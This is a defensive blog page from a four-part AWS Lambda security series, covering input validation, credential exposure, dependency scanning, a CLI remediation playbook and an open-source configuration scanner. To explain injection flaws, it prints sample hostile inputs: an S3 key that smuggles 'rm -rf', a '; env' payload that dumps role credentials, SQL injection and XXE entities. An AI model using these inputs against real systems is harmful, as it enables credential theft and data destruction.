DEV Community: Tarek CHEIKH

The Code Is Still Yours: Application-Layer Security for AWS Lambda

Tarek CHEIKH — Mon, 08 Jun 2026 20:01:01 +0000

Part 4 of 4 in the Lambda Security Series

The first three parts of this series were about configuration. Runtimes, roles, resource policies, public endpoints, network, logging, and the compliance controls behind them. That is the layer lambda-security-scanner checks, and it is the layer most teams get wrong first.

But configuration is only half of Lambda security. The other half is the code that runs inside the function, and no posture scanner reaches it. AWS will not catch a bug in your handler. A clean configuration scan and a vulnerable function are completely compatible. This part covers that other half: the application layer, the dependencies, the credentials your code holds, and how to detect the attacks that prevention misses.

One thing ties the whole layer together. Every code-level vulnerability ultimately cashes out through the execution role. Whatever the role can do, a successful attack against your code can do. That is why Part 2’s role checks and this part’s code checks are the same fight from two directions.

Every Event Source Is Untrusted Input

A Lambda function is defined by its triggers, and every trigger is an entry point for data you did not write. API Gateway delivers HTTP requests. S3 delivers object keys and metadata. SNS and SQS deliver message bodies. DynamoDB and Kinesis deliver stream records. EventBridge delivers arbitrary event payloads. Each of these is a separate trust boundary, and the data crossing it is hostile until you prove otherwise.

The mistake is treating the event object as structured, trusted data because it arrived through an AWS service. The AWS service delivered the envelope. It did not validate the contents. A filename in an S3 event, a field in an SQS message, or a query string in an API Gateway request is attacker-controlled the moment an attacker can influence the thing that produced it.

To make this concrete: an S3 **_ObjectCreated_** event hands your function a key at **_event[‘Records’][0][‘s3’][‘object’][‘key’]_**. If a user can upload to that bucket, the user chose that key. A key such as **_../../tmp/payload_** or **_report$(rm -rf /tmp).csv_** arrives looking like ordinary data, and it stays harmless only until your code passes it to a file path or a shell.

This is how injection happens in serverless, and the categories are the same ones that have always existed:

OS command injection , when input reaches a shell. This is the OWASP ServerlessGoat flaw from Part 1: a user-supplied URL is passed straight into a **_curl_** command, so an attacker appends their own commands and the function runs them. For example, code that runs **_curl <url>_** as a shell string lets an attacker send [**_https://x_**](https://x) **_; env_**. The **_;_** ends the intended **_curl_** command and runs **_env_** instead, which prints the execution environment, including the **_AWS\_ACCESS\_KEY\_ID_**, **_AWS\_SECRET\_ACCESS\_KEY_**, and **_AWS\_SESSION\_TOKEN_** that hold the function’s execution-role credentials. The attacker now has working AWS keys and can act as your function against the AWS API directly, which is exactly the exploit covered in the next section.
SQL and NoSQL injection , when input is concatenated into a query instead of parameterized. **_cursor.execute(“SELECT \* FROM users WHERE id = ‘“ + user\_id + “‘“)_** lets an attacker send **_’ OR ‘1’=’1_** and read every row.
Code injection , when input reaches **_eval_**, dynamic **_require_** or **_import_**, or a template engine. Passing an event field into Python **_eval()_** or JavaScript **_eval()_** turns a string into running code.
XML external entity (XXE) attacks, when input is parsed by an XML parser that has external entities enabled. XML lets a document declare an entity, a named placeholder, and point it at an external resource; a parser with that feature turned on will fetch the resource and substitute its contents wherever the entity is used. In a malicious document, the attacker adds a document type definition that declares an external entity, for example an entity named **_xxe_** whose value is **_SYSTEM “file:///etc/passwd”_**, and then references it as **_&xxe;_** inside an element. When the parser expands **_&xxe;_**, it reads the file at that path and drops the contents into the parsed value, which the function might then return to the caller, store, or log. Point the entity at a URL instead of a file, such as an internal-only address like **_http://10.0.0.5/admin_**, and the same trick becomes server-side request forgery: the function fetches resources inside your VPC that an outsider could never reach directly. The fix is to disable DTD processing and external entities in the parser (for example, use **_defusedxml_** in Python), which the defenses below cover.
Log injection , when unsanitized input is written to logs that something else later trusts. A newline embedded in a username can forge extra log lines that mislead an investigator or a log-based alert.

The defenses are unglamorous and they work:

Never pass user input to a shell. If you must call out to a process, use an argument array, not a constructed command string, and never **_shell=True_**. In Python that means **_subprocess.run([“catdoc”, path])_** instead of **_subprocess.run(f”catdoc {path}”, shell=True)_**. In Node.js it means **_execFile(“catdoc”, [path])_** instead of **_execSync(catdoc ${path})_**. With an argument array the operating system treats the input as one argument, so it can never become a new command.
Parameterize every query. The database driver should receive values as bound parameters, never as concatenated strings: **_cursor.execute(“SELECT \* FROM users WHERE id = %s”, (user\_id,))_**. The driver sends the value separately from the SQL, so the value cannot change the query’s meaning.
Validate every event at the boundary against an explicit schema, and reject anything that does not match. Use JSON Schema, Pydantic, or the parser and validation utilities in Powertools for AWS Lambda. (Powertools ships two distinct tools for this: a Parser built on Pydantic, and a separate Validator that checks events against JSON Schema.) Validate types, lengths, formats, and allowed values:

from aws_lambda_powertools.utilities.parser import parse, BaseModel
from aws_lambda_powertools.utilities.parser.exceptions import ValidationError

class Order(BaseModel):
    order_id: str
    quantity: int

def handler(event, context):
    try:
        order = parse(event=event, model=Order)
    except ValidationError:
        return {"statusCode": 400, "body": "invalid input"}
    # order.quantity is guaranteed to be an int from here on

Prefer allowlists to denylists. Define what is permitted and reject everything else, rather than trying to enumerate every bad input. An attacker only has to find the one bad input you forgot to ban; an allowlist fails closed.

Validation at the boundary is the single highest-leverage habit in serverless code, because one function can be triggered by several sources and each one needs the same scrutiny.

The Execution Role Credentials Are Stealable

Here is a detail that surprises people moving from EC2. Lambda has no credential-bearing instance metadata service. There is no **_169.254.169.254_** endpoint to query, so the classic server-side request forgery attack that steals credentials from EC2 metadata does not apply to Lambda. (Lambda did gain a metadata endpoint in 2026, reachable at the address in the **_AWS\_LAMBDA\_METADATA\_API_** environment variable, for example **_169.254.100.1:9001_**. But it returns only the Availability Zone ID, it requires a per-environment bearer token from **_AWS\_LAMBDA\_METADATA\_TOKEN_** specifically as a defense against SSRF, and it never exposes the execution role’s credentials.)

That is not good news, because Lambda exposes the credentials a different way. When your function runs, the execution role’s temporary credentials are injected into the execution environment as the **_AWS\_ACCESS\_KEY\_ID_**, **_AWS\_SECRET\_ACCESS\_KEY_**, and **_AWS\_SESSION\_TOKEN_** environment variables. AWS documents these as reserved runtime variables holding “the access keys obtained from the function’s execution role,” and this is still the behavior in 2026. The AWS SDK reads them from there automatically, which is convenient for your code and equally convenient for an attacker. Any code execution inside the function, or any vulnerability that lets an attacker read the process environment, hands over those credentials. ServerlessGoat demonstrates exactly this: the command injection runs **_env_**, and the role’s credentials fall out.

Once exfiltrated, those credentials are valid from anywhere until they expire. The attacker does not need to keep exploiting your function. They lift the keys once and use them directly against the AWS API with whatever the role allows.

This is why least privilege on the execution role, the B.4 check from Part 2, is not just a configuration nicety. It is the containment boundary for every code-level bug you have not found yet. You cannot guarantee your code is free of injection. You can guarantee that when it is exploited, the stolen credentials can read one bucket instead of administering the account. Scope the role as if the code is already compromised, because eventually one function will be.

Server-side request forgery is still worth defending against in Lambda even without a credential-bearing metadata endpoint to protect. A function that fetches a user-controlled URL can be turned against internal services it can reach inside a VPC, peered networks, and link-local addresses. Validate and allowlist outbound destinations the same way you validate inbound input: resolve the hostname, confirm it is on a permitted list, and reject private and link-local ranges unless you explicitly intend to reach them.

Insecure Deserialization and Dynamic Code

Deserializing untrusted data into live objects is remote code execution waiting for an input. Python’s **_pickle_**, an unsafe YAML load, Java and PHP object deserialization, and any path that turns bytes from an event directly into executable behavior are all in this category. The danger is that these formats encode not just data but instructions to construct arbitrary objects, and constructing those objects can run code. A **_pickle.loads()_** on attacker-supplied bytes can execute a payload during unpickling, before your code ever inspects the result.

Use data-only formats and safe parsers: **_json_** rather than **_pickle_**, **_yaml.safe\_load_** rather than **_yaml.load_**, and schema validation on the result. For example, replace **_data = yaml.load(body)_** with **_data = yaml.safe\_load(body)_**, which refuses to instantiate arbitrary Python objects and returns only plain dictionaries, lists, and scalars. Never feed event data to **_eval_** or to a dynamic import.

Your Dependencies Are Most of Your Attack Surface

The code you wrote is usually a small fraction of what ships in your deployment package. The rest is third-party libraries, and their layers, and the transitive dependencies underneath them. A known vulnerability in any of them is your vulnerability, and the failure modes go beyond stale versions: typosquatted package names (a malicious **_reqeusts_** masquerading as **_requests_**) and legitimate packages compromised upstream both end up running with your execution role.

Scan dependencies continuously, not once:

Use language-native auditing in development and CI: **_pip-audit_** for Python, **_npm audit_** for Node, and the equivalents for other runtimes. Fail the build on known-vulnerable, fixable findings. A CI step as simple as **_pip-audit — strict_** or **_npm audit — audit-level=high_** returns a non-zero exit code and stops the pipeline.
Turn on Amazon Inspector Lambda standard scanning. It automatically scans the application dependencies in your function code and layers for known CVEs. AWS documents that it runs when Inspector first discovers a function, when you deploy a new function, when you update the code or dependencies of a function or its layers, and again whenever Inspector adds a CVE to its database that is relevant to your function, with no scan to schedule. One important limit: it scans the dependencies you ship, not the AWS SDK that the runtime provides by default, so bundle the SDK explicitly if you want it covered.
Pin versions and commit lockfiles, so the package that passed review is the package that deploys. A committed **_requirements.txt_** with hashes, or a **_package-lock.json_**, means a rebuild cannot silently pull a newer, compromised version. Keep the dependency set small. Every library you do not include is one you do not have to defend.

Let AWS Scan the Code, Too

Amazon Inspector also offers Lambda code scanning, which goes a step past dependencies and analyzes your own application code. AWS describes it as scanning “application code in a Lambda function for code vulnerabilities based on AWS security best practices to detect data leaks, injection flaws, missing encryption, and weak cryptography,” using automated reasoning, machine learning, and internal detectors developed with Amazon Q. Each finding includes a snippet showing where the issue is and a suggested code fix.

It runs automatically on deploy and update, the same as standard scanning, and it requires standard scanning to be enabled first (you cannot turn on code scanning by itself). It will not replace a security review of your code, but it is a continuous, low-effort backstop that catches a meaningful class of mistakes before they sit in production. One caveat: code scanning captures snippets of your function to illustrate findings, and those snippets can include hardcoded secrets, so treat the findings themselves as sensitive.

Container-Image Functions Need Image Hygiene

If you package a function as a container image rather than a zip archive, you have inherited every habit of container security along with it. Scan the image for operating-system and programming-language package vulnerabilities, which Amazon Inspector does for images in Amazon ECR through enhanced scanning, either on push or continuously, re-scanning automatically when a new relevant CVE is published. Start from a minimal base image (for example a distroless or **_-slim_** image) so there is less to be vulnerable. Pin the base image by digest rather than a floating tag, so **_FROM public.ecr.aws/lambda/python:3.13@sha256:…_** cannot silently pull in something new on the next rebuild. Run as a non-root user inside the image with a **_USER_** directive. A container-packaged Lambda is still a container, and the supply-chain risk is larger, not smaller.

Handle Secrets Correctly at Runtime

Part 3 covered moving secrets out of environment variables and into Secrets Manager or SSM Parameter Store. AWS makes the same recommendation in the Lambda documentation: “To increase security, we recommend that you use AWS Secrets Manager instead of environment variables to store database credentials and other sensitive information like API keys or authorization tokens.” Getting the secret out of the configuration is necessary, but the runtime handling matters too.

Store the secret in Secrets Manager and read it at runtime rather than baking it into the function. The simplest way to read it is the AWS SDK, calling **_GetSecretValue_** from your handler. That works, and it is a valid pattern. Its only drawback is that it calls Secrets Manager on every invocation, which adds latency and API cost each time.

To avoid that per-invocation call, AWS documents two approaches that retrieve the secret and cache it locally, described as “both offering better performance and lower costs compared to retrieving secrets directly using the AWS SDK,” and both “eliminating the need for your function to call Secrets Manager for every invocation.” You do not need both; pick one.

The first is the AWS Parameters and Secrets Lambda Extension. It is runtime-agnostic, you add it as a Lambda layer, and your code reads the secret over a local HTTP endpoint with no SDK dependency. AWS’s own Python example is:

secrets_extension_endpoint = f"http://localhost:2773/secretsmanager/get?secretId={secret_name}"
headers = {"X-Aws-Parameters-Secrets-Token": os.environ.get('AWS_SESSION_TOKEN')}

The first call fetches from Secrets Manager; subsequent calls within the cache lifetime are served from the local cache. By default the extension caches for 300 seconds and holds up to 1000 items, configurable through the **_SECRETS\_MANAGER\_TTL_**, **_PARAMETERS\_SECRETS\_EXTENSION\_CACHE\_SIZE_**, and **_PARAMETERS\_SECRETS\_EXTENSION\_HTTP\_PORT_** environment variables. The same extension works for both Secrets Manager secrets and Parameter Store parameters.

The second is the Powertools for AWS Lambda parameters utility, a code-integrated option for Python, TypeScript, Java, and .NET that caches and can transform the value (for example, parse JSON). In Python it is just:

from aws_lambda_powertools.utilities import parameters
secret = parameters.get_secret("my-secret-name", max_age=300)

Whichever you choose, three rules apply:

Scope the function’s permission to the specific secret, not to **_secretsmanager:GetSecretValue_** on everything. AWS’s example execution-role policy sets **_Resource_** to the one secret ARN:

{
  "Effect": "Allow",
  "Action": "secretsmanager:GetSecretValue",
  "Resource": "arn:aws:secretsmanager:us-east-1:111122223333:secret:SECRET_NAME"
}

Mind the cache and rotation together. The default 300-second cache means a freshly rotated secret can be stale for up to five minutes. AWS suggests either lowering the TTL (for example **_SECRETS\_MANAGER\_TTL=60_**) or requesting a specific version with **_versionStage=AWSCURRENT_**. Rotate on a schedule regardless, because a credential that never changes is a credential that an old leak can still use.

Never write a secret to a log line, which is the most common way a secret that was stored correctly still ends up exposed.

Log Without Leaking

CloudWatch Logs are useful for investigation and dangerous for disclosure. A function that logs the full event, or a request header, or an error object that contains a token, has copied sensitive data into a store with its own access model and retention. Decide what must never be logged, which is at minimum credentials, tokens, and personal data, and strip or mask it before it reaches a log call. Avoid **_logger.info(json.dumps(event))_** as a default habit, because the event is exactly where attacker-influenced and sensitive fields live. Use structured logging so fields are explicit rather than interpolated, and sanitize any untrusted value before logging it (for example, strip newlines) so an attacker cannot forge log entries.

Detect What Prevention Misses

You will not prevent everything, so instrument for the case where prevention failed.

Enable Amazon GuardDuty Lambda Protection. It monitors the network activity of your Lambda functions, including functions that do not use VPC networking, and raises findings when a function starts behaving like compromised code. The documented finding types include **_Backdoor:Lambda/C&CActivity.B_** (querying a known command-and-control server), **_CryptoCurrency:Lambda/BitcoinTool.B_** (the traffic pattern of unauthorized cryptocurrency mining), **_UnauthorizedAccess:Lambda/MaliciousIPCaller.Custom_** (contacting an IP on your threat list), and Tor client and relay findings. The crypto-mining pattern is the Denonia case from Part 1, which is precisely the kind of thing this is built to catch.
Record Lambda **_Invoke_** activity with CloudTrail data events, so you have an audit trail of who invoked what and can reconstruct events after an incident. Note that **_Invoke_** is a data event, not a management event, so it is not logged by default, must be explicitly enabled, and incurs additional CloudTrail charges. Management events such as **_CreateFunction_** and **_UpdateFunctionCode_** are logged by default.
Keep Amazon Inspector active so that newly published CVEs are matched against your already-deployed functions automatically, not just at deploy time.
Use X-Ray traces to spot anomalous call patterns, such as a function suddenly reaching services it never touched before.

Shift It Left

Everything above is cheaper before deployment than after. Run dependency auditing and code scanning in the pipeline and fail the build on fixable, high-severity findings. Validate your infrastructure-as-code for the configuration issues from Parts 1 through 3 before they ship, and run the configuration scanner from this series in the same pipeline so a function cannot reach production with a public URL or an admin role. Prevention that runs automatically on every commit is the only kind that keeps up with how fast serverless ships.

The Full Picture

That is the complete series. Parts 1 through 3 covered the configuration layer: the misconfigurations that expose a function, a score for every function, the compliance controls behind each finding, and a command to fix each one. lambda-security-scanner covers that layer end to end.

This part covered the layer no posture scanner reaches: the code itself, its dependencies, the credentials it holds, and the detection you need for when something gets through anyway. No single tool covers both layers, and anyone who tells you otherwise is selling the gap. Real Lambda security is the combination: scan the configuration, secure the code, watch the behavior. Do all three and serverless can finally live up to the word secure.

Sources :

Amazon Inspector: scanning AWS Lambda functions (standard and code scanning) (https://docs.aws.amazon.com/inspector/latest/user/scanning-lambda.html)
Amazon Inspector Lambda code scanning (https://docs.aws.amazon.com/inspector/latest/user/scanning_resources_lambda_code.html)
Amazon Inspector: scanning Amazon ECR container images (https://docs.aws.amazon.com/inspector/latest/user/scanning-ecr.html)
Amazon GuardDuty Lambda Protection (https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html)
Amazon GuardDuty Lambda Protection finding types (https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection-finding-types.html)
AWS Lambda: defined runtime environment variables (https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html)
AWS Lambda: using the metadata endpoint (https://docs.aws.amazon.com/lambda/latest/dg/configuration-metadata-endpoint.html)
AWS Lambda: logging API calls with CloudTrail (data and management events) (https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html)
OWASP Serverless Top 10 (https://owasp.org/www-project-serverless-top-10/)
OWASP ServerlessGoat (https://github.com/OWASP/Serverless-Goat)
Powertools for AWS Lambda (https://docs.powertools.aws.dev/lambda/)
Use Secrets Manager secrets in Lambda functions (SDK, extension, and Powertools approaches) (https://docs.aws.amazon.com/lambda/latest/dg/with-secrets-manager.html)
AWS Parameters and Secrets Lambda Extension (https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets_lambda.html)

From Findings to Fixed: Lambda Compliance Mapping and Remediation

Tarek CHEIKH — Sun, 07 Jun 2026 13:06:57 +0000

Part 3 of 4 in the Lambda Security Series

Part 1 described the risks. Part 2 introduced lambda-security-scanner and the nineteen checks it runs against every function. This part closes the loop. A finding is only useful if it leads somewhere, and it usually needs to lead to two places: a compliance control that an auditor cares about, and a command that an engineer can run to make the finding go away. The scanner produces both.

Why Compliance Maps to Serverless at All

Compliance frameworks were mostly written before serverless existed, so people assume they do not apply. They do. The controls are about outcomes, not implementation. “Restrict network access between trusted and untrusted zones,” “authenticate access to system components,” “enforce least privilege,” and “retain audit logs” are all requirements that a Lambda function either meets or violates, regardless of the fact that there is no server to point at.

The scanner evaluates each function against ten frameworks and reports which controls pass and which fail, per function. In total it maps to 81 controls:

| Framework | Controls | Focus |
|------------------------------------------|----------|---------------------------------------|
| AWS Foundational Security Best Practices | 5 | Lambda-specific Security Hub controls |
| CIS AWS Compute Services Benchmark | 8 | Compute service hardening |
| PCI DSS v4.0.1 | 8 | Payment card data protection |
| HIPAA Security Rule | 9 | Healthcare data security |
| SOC 2 | 11 | Service organization controls |
| ISO 27001:2022 | 11 | Information security management |
| ISO 27017:2015 | 4 | Cloud-specific security controls |
| ISO 27018:2019 | 5 | Protection of PII in the cloud |
| GDPR | 8 | EU data protection |
| NIST SP 800-53 Rev5 | 12 | Federal security controls |

One honest note on the control identifiers, because credibility depends on it. Most frameworks use their real citations: HIPAA **_164.312(a)(1)_**, ISO 27001 **_A.5.15_**, SOC 2 **_CC6.1_**, NIST **_AC-3_**, and so on. The CIS entries are different. They map to the genuine CIS AWS Compute Services Benchmark guidance for Lambda, but the **_CIS-Lambda.N_** identifiers are the scanner’s own labels, not the benchmark’s official recommendation numbers, which live under section 5. They are an alignment aid, not a verbatim citation. The scanner says so in its own documentation, and so do I.

How a Single Finding Becomes Compliance Evidence

The mapping is many-to-many. One misconfiguration usually breaks several controls at once, which is exactly why these findings matter to an audit.

Take a public function URL with **_AuthType: NONE_**. That single finding fails an authentication control in PCI DSS, an access-restriction control in SOC 2, an access-control requirement in NIST 800–53, and the corresponding AWS FSBP Lambda control, all from one misconfiguration. Fix the one thing and several controls flip to passing together. The same is true in reverse for plaintext secrets, which touch data-protection requirements across PCI DSS, HIPAA, ISO 27018, and GDPR simultaneously.

If you only need the posture and not the full security scan, run the compliance report on its own:

lambda-security-scanner security --compliance-only

That produces a per-function, per-framework breakdown of passed and failed controls, written as a JSON report on every run. It is the artifact to hand to an auditor or attach to a control review.

Fixing Every Finding

The rest of this article is the remediation playbook: one fix per check, with the AWS CLI command to apply it. Run these against your own functions after a scan tells you which ones need them.

A.1: Update deprecated and blocked runtimes

aws lambda update-function-configuration \
  --function-name my-function \
  --runtime python3.13

As of May 2026, examples of current supported runtimes are **_nodejs24.x_**, **_nodejs22.x_**, **_python3.14_**, **_python3.13_**, **_java25_**, **_java21_**, **_dotnet10_**, **_dotnet8_**, **_ruby4.0_**, **_ruby3.4_**, and **_provided.al2023_**. Update before the runtime’s block-update date arrives, not after, because a blocked runtime can no longer be updated in place and forces a more disruptive migration.

A.2: Reduce the maximum timeout

aws lambda update-function-configuration \
  --function-name my-function \
  --timeout 30

Set the timeout to what the function actually needs. A 900-second timeout on a function that finishes in three seconds means a stuck or abused invocation can burn compute for fifteen minutes before Lambda stops it.

A.3: Move secrets out of environment variables

# Store the secret in Secrets Manager
aws secretsmanager create-secret \
  --name my-function/db-password \
  --secret-string "MyPr0ductionP@ss!"

# Replace the plaintext value with a reference
aws lambda update-function-configuration \
  --function-name my-function \
  --environment '{"Variables":{"DB_SECRET_ARN":"arn:aws:secretsmanager:us-east-1:123456789012:secret:my-function/db-password-AbCdEf"}}'

Then resolve the secret at runtime with **_secretsmanager:GetSecretValue_**. The environment variable now holds a pointer, which is exactly the pattern the scanner treats as clean.

A.4: Reduce ephemeral storage

aws lambda update-function-configuration \
  --function-name my-function \
  --ephemeral-storage '{"Size": 512}'

The default is 512 MB. If the function does not need more, do not allocate more. Larger scratch space increases what a compromised function can stage locally.

A.5: Review external layers

aws lambda get-function-configuration \
  --function-name my-function \
  --query "Layers[*].Arn"

Any layer owned by an account that is not yours runs arbitrary code inside your function with your function’s permissions. Confirm every external layer comes from a source you trust.

A.6: Enable X-Ray tracing

aws lambda update-function-configuration \
  --function-name my-function \
  --tracing-config Mode=Active

A.7: Configure a dead letter queue

aws sqs create-queue --queue-name my-function-dlq

aws lambda update-function-configuration \
  --function-name my-function \
  --dead-letter-config TargetArn=arn:aws:sqs:us-east-1:123456789012:my-function-dlq

B.1: Restrict the resource policy

# Remove the wildcard statement
aws lambda remove-permission \
  --function-name my-function \
  --statement-id public-access

# Add a scoped permission instead
aws lambda add-permission \
  --function-name my-function \
  --statement-id api-gateway-invoke \
  --action lambda:InvokeFunction \
  --principal apigateway.amazonaws.com \
  --source-arn arn:aws:execute-api:us-east-1:123456789012:myapi/*/GET/resource

B.2: Secure function URLs

# Require signed requests
aws lambda update-function-url-config \
  --function-name my-function \
  --auth-type AWS_IAM

# Or remove the function URL entirely
aws lambda delete-function-url-config \
  --function-name my-function

B.3: Restrict CORS origins

aws lambda update-function-url-config \
  --function-name my-function \
  --cors '{"AllowOrigins":["https://myapp.example.com"]}'

B.4: Scope down execution roles

# Detach the overprivileged managed policy
aws iam detach-role-policy \
  --role-name my-function-role \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Attach a least-privilege policy
aws iam attach-role-policy \
  --role-name my-function-role \
  --policy-arn arn:aws:iam::123456789012:policy/my-function-least-privilege

Use IAM Access Analyzer to generate a least-privilege policy from the function’s actual CloudTrail activity, rather than guessing at the permission set.

B.5: Give each function its own role

Each function should assume a role scoped to only what that function needs. Sharing one role across functions means a compromise of the weakest function inherits the access of all the others.

C.1: Attach a VPC when the function needs private resources

aws lambda update-function-configuration \
  --function-name my-function \
  --vpc-config SubnetIds=subnet-abc123,subnet-def456,SecurityGroupIds=sg-12345678

Not every function needs a VPC. Functions that reach databases, internal APIs, or other private resources do.

C.2: Span multiple Availability Zones

aws lambda update-function-configuration \
  --function-name my-function \
  --vpc-config SubnetIds=subnet-abc123,subnet-def456,SecurityGroupIds=sg-12345678

Provide subnets in at least two AZs. A single-AZ deployment goes down with that one AZ.

C.3: Restrict security group egress

aws ec2 revoke-security-group-egress \
  --group-id sg-12345678 \
  --ip-permissions '[{"IpProtocol": "-1", "IpRanges": [{"CidrIp": "0.0.0.0/0"}]}]'

aws ec2 authorize-security-group-egress \
  --group-id sg-12345678 \
  --ip-permissions '[{"IpProtocol": "tcp", "FromPort": 443, "ToPort": 443, "IpRanges": [{"CidrIp": "10.0.0.0/8"}]}]'

Replace allow-all outbound with the specific destinations the function needs. Unrestricted egress is how a compromised function exfiltrates data to anywhere.

D.1: Set log retention

aws logs put-retention-policy \
  --log-group-name /aws/lambda/my-function \
  --retention-in-days 90

D.2: Set reserved concurrency

aws lambda put-function-concurrency \
  --function-name my-function \
  --reserved-concurrent-executions 100

This matters most for functions that are reachable from outside. Without a concurrency cap, an attacker who can invoke the function can invoke it without limit.

E.1: Enable code signing

aws signer put-signing-profile \
  --profile-name my-signing-profile \
  --platform-id AWSLambda-SHA384-ECDSA

aws lambda create-code-signing-config \
  --allowed-publishers SigningProfileVersionArns=arn:aws:signer:us-east-1:123456789012:/signing-profiles/my-signing-profile \
  --code-signing-policies UntrustedArtifactOnDeployment=Enforce

aws lambda put-function-code-signing-config \
  --function-name my-function \
  --code-signing-config-arn arn:aws:lambda:us-east-1:123456789012:code-signing-config:csc-abc123

Set the policy to **_Enforce_**, not **_Warn_**. Warn logs an untrusted artifact and deploys it anyway.

E.2: Add failure destinations to event source mappings

aws lambda update-event-source-mapping \
  --uuid my-esm-uuid \
  --destination-config '{"OnFailure":{"Destination":"arn:aws:sqs:us-east-1:123456789012:my-function-esm-dlq"}}'

Fix Them in This Order

If you fix everything in score order, you fix the right things first. The scanner’s deductions already encode the priority:

Public access. A public resource policy and a public function URL each cost 25 points. Remove wildcard principals and require authentication on function URLs. Do this today.
Plaintext secrets. Worth 20 points without KMS. They are readable by anyone with a common configuration-read permission. Move them to Secrets Manager or SSM.
Overprivileged execution roles. An admin-equivalent role costs 20 points; service wildcards and privilege escalation cost 10. Scope them to least privilege.
Blocked runtimes at 15 points, then deprecated runtimes at 10. Blocked runtimes can no longer be patched at all. Deprecated runtimes have stopped receiving patches.
CORS and shared roles, 10 points each. Restrict origins and split shared roles into per-function roles.
Everything else: logging and retention, network controls, code signing, dead letter queues, tracing, and concurrency. Lower individual weight, but together they are the difference between a function you can investigate after an incident and one you cannot.

One Layer Left

Part 1 was the problem: serverless moved the attack surface closer to your code, and the misconfigurations are invisible until they are exploited. Part 2 was the tool: nineteen read-only checks, a score per function, and a clear list of what is wrong. This part was the payoff: every finding mapped to the compliance controls that care about it, and a command to fix each one.

That covers the configuration layer completely, which is what lambda-security-scanner checks and what most teams get wrong first. But there is one layer no posture scanner reaches: the code that runs inside the function, the dependencies it ships, and the credentials it holds at runtime. A clean configuration scan and a vulnerable function are entirely compatible. Part 4 covers that application layer, and it is the difference between a competent Lambda security posture and a complete one.

The project is open source under the MIT license:

Source: https://github.com/TocConsulting/lambda-security-scanner
Package: https://pypi.org/project/lambda-security-scanner/

Inside lambda-security-scanner: 19 Checks Across Every Function in Your Account

Tarek CHEIKH — Sat, 06 Jun 2026 21:34:09 +0000

Part 2 of 4 in the Lambda Security Series

In Part 1, I described the gap. Lambda functions accumulate overprivileged roles, plaintext secrets, public endpoints, and deprecated runtimes, and none of it is visible until something goes wrong. Reviewing it by hand across every function and every region does not scale.

So I built a tool that does it for you. It is called lambda-security-scanner. It is open source, read-only, and it runs in one command.

One Command

Install it from PyPI:

pip install lambda-security-scanner

Then scan:

lambda-security-scanner security

That runs nineteen checks across five categories against every Lambda function in the target region, scores each function from 0 to 100, maps the findings to ten compliance frameworks, and writes JSON, CSV, and an interactive HTML report. It needs Python 3.10 or higher and read-only AWS credentials.

What It Checks

The nineteen checks are grouped into five categories. Each check has an identifier so you can trace any finding back to exactly what was evaluated.

Category A: Function configuration

| ID | Check | What it catches |
|-----|-------------------------|---------------------------------------------------|
| A.1 | Runtime status | Blocked, deprecated, or near end-of-life runtimes |
| A.2 | Maximum timeout | Functions configured with the 900-second maximum |
| A.3 | Environment secrets | Plaintext credentials in environment variables |
| A.4 | Large ephemeral storage | Ephemeral storage above the 512 MB default |
| A.5 | External layers | Lambda layers owned by other AWS accounts |
| A.6 | X-Ray tracing | Active tracing not enabled |
| A.7 | Dead letter queue | No DLQ configured |

Category B: Access control

| ID | Check | What it catches |
|-----|-------------------------------|----------------------------------------------------------|
| B.1 | Resource policy public access | Wildcard principal or unscoped service invocation |
| B.2 | Function URL authentication | Function URL with `AuthType: NONE` |
| B.3 | Function URL CORS | CORS `AllowOrigins` containing `*` |
| B.4 | Execution role overprivilege | Admin access, service wildcards, or privilege escalation |
| B.5 | Shared execution role | One IAM role reused across multiple functions |

Category C: Network security

| ID | Check | What it catches |
|-----|-----------------------|-----------------------------------------------|
| C.1 | VPC configuration | Function not attached to a VPC |
| C.2 | Multi-AZ deployment | VPC function in a single Availability Zone |
| C.3 | Security group egress | Unrestricted outbound (`0.0.0.0/0` or `::/0`) |

Category D: Logging and monitoring

| ID | Check | What it catches |
|-----|----------------------|------------------------------------------|
| D.1 | CloudWatch log group | Log group missing or no retention policy |
| D.2 | Reserved concurrency | No reserved concurrency configured |

Category E: Code and supply chain

| ID | Check | What it catches |
|-----|-------------------------------|------------------------------------------------------------------|
| E.1 | Code signing | No code signing config, or policy set to Warn instead of Enforce |
| E.2 | Event source mapping failures | An event source mapping without an OnFailure destination |

Two of these checks deserve a closer look, because they catch the issues that cause real breaches.

Secret Detection That Knows the Difference

Check A.3 is the one I am most careful about, because a naive secret scanner is worse than none. It floods you with false positives, you start ignoring it, and then it misses the one that matters.

The scanner works in two layers. First it looks at variable names against ten patterns that signal a secret: **_password_**, **_secret_**, **_api\_key_**, **_auth\_token_**, **_access\_key_**, **_private\_key_**, **_database\_url_**, **_connection\_string_**, **_credentials_**, and **_token_**. Then it looks at variable values against sixteen credential formats, including AWS access keys (**_AKIA_** and **ASIA**), GitHub personal access tokens (both **_ghp\ __** and the newer **_github\_pat\__ ** format), GitLab tokens, Stripe live and restricted keys, Slack bot and app tokens, PEM private key headers, database connection strings with embedded credentials, Anthropic keys, OpenAI standard, project, and service-account keys, SendGrid keys, and NPM tokens.

The important part is what it does not flag. If a variable named **DB\_PASSWORD** holds a Secrets Manager ARN, an SSM parameter ARN, a KMS ARN, an SSM parameter path like **_/app/db/password_**, or a CloudFormation **_{{resolve:…}}_** dynamic reference, that is the AWS-recommended pattern. The scanner treats it as clean, not as a leaked secret. Trivial values such as booleans, ports, and environment names are ignored as well. The goal is to flag real plaintext credentials and stay quiet about correct configuration.

When a function does hold a plaintext secret, the severity depends on whether the function’s environment variables are encrypted with a customer-managed KMS key. Without KMS, it is critical. With KMS, it is high, because the key adds a layer of access control but the secret still does not belong there.

Execution Roles, Examined in Depth

Check B.4 is the other one that matters most. It does not just look at the policies attached to a role by name. It reads every managed and inline policy on the execution role and evaluates what they actually grant.

